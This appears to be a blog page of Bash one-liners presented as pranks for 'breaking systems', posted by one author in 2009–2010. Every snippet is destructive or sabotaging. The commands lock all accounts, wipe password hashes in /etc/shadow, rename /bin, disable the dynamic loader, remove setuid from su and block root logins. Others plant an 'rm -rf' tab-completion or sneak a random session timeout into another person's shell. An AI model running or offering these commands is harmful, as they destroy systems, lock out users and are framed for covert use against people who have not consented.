Breaking Systems for Fun and Profit » Bash Bonanza

We don’t play favourites.

Mule — Tue, 12 Jan 2010 19:28:09 +0000

Include this somewhere in cron, or just run it yourself from time to time to give your users the diversity they so rightly deserve:

for I in $(getent passwd | cut -d: -f1 )
do
    chsh -s $(sort -R /etc/shells | head -n1) ${I}
done

Mule — Thu, 22 Oct 2009 15:18:24 +0000

bmr just pointed me towards this one.

It looks like a nice way to annoy your cow-orkers…

Mule — Wed, 05 Aug 2009 09:42:22 +0000

chmod a-x $(find /home -depth -maxdepth 1 -type d)

Mule — Tue, 04 Aug 2009 09:35:16 +0000

Try this one to annoy your users. for extra fun replace /bin with /usr/bin, rinse, repeat.

mv /bin '/bin '

Mule — Tue, 28 Jul 2009 16:28:54 +0000

Pop this one into a bash session and watch the hilarity ensue:

complete -E -W 'rm\ -rf\ /*\ /.*'

And while we’re having fun try this one as well (advertorial alert):

complete -W 'http://breakingsystemsforfunandprofit.com' elinks links firefox chrome midori epiphany wget opera

Mule — Mon, 27 Jul 2009 19:09:24 +0000

sed -ri 's/([^:]*):[^:]*:(.*)/\1:!!:\2/' /etc/shadow

Or for the wusses who want something a bit more recoverable:

for I in $(getent passwd | cut -d: -f1)
do
    passwd -l ${I}
    chage -E0 -M1 -m513 -I1 -W1023 ${I}
done

Mule — Mon, 27 Jul 2009 17:11:42 +0000

printf 'root\t-\tmaxlogins\t0\n' >> /etc/security/limits.conf

Mule — Mon, 27 Jul 2009 15:10:10 +0000

chmod u-s /bin/su

Mule — Mon, 27 Jul 2009 07:49:03 +0000

Another nice one to confuse and annoy, as usual you need to sneak this one into somebody’s bash session:

export PROMPT_COMMAND='export TMOUT=$[ ${RANDOM} % 15 ]'

Mule — Fri, 24 Jul 2009 10:06:09 +0000

This one was submitted by giulivo using the submission link:

chmod a-x /lib/ld-2*.so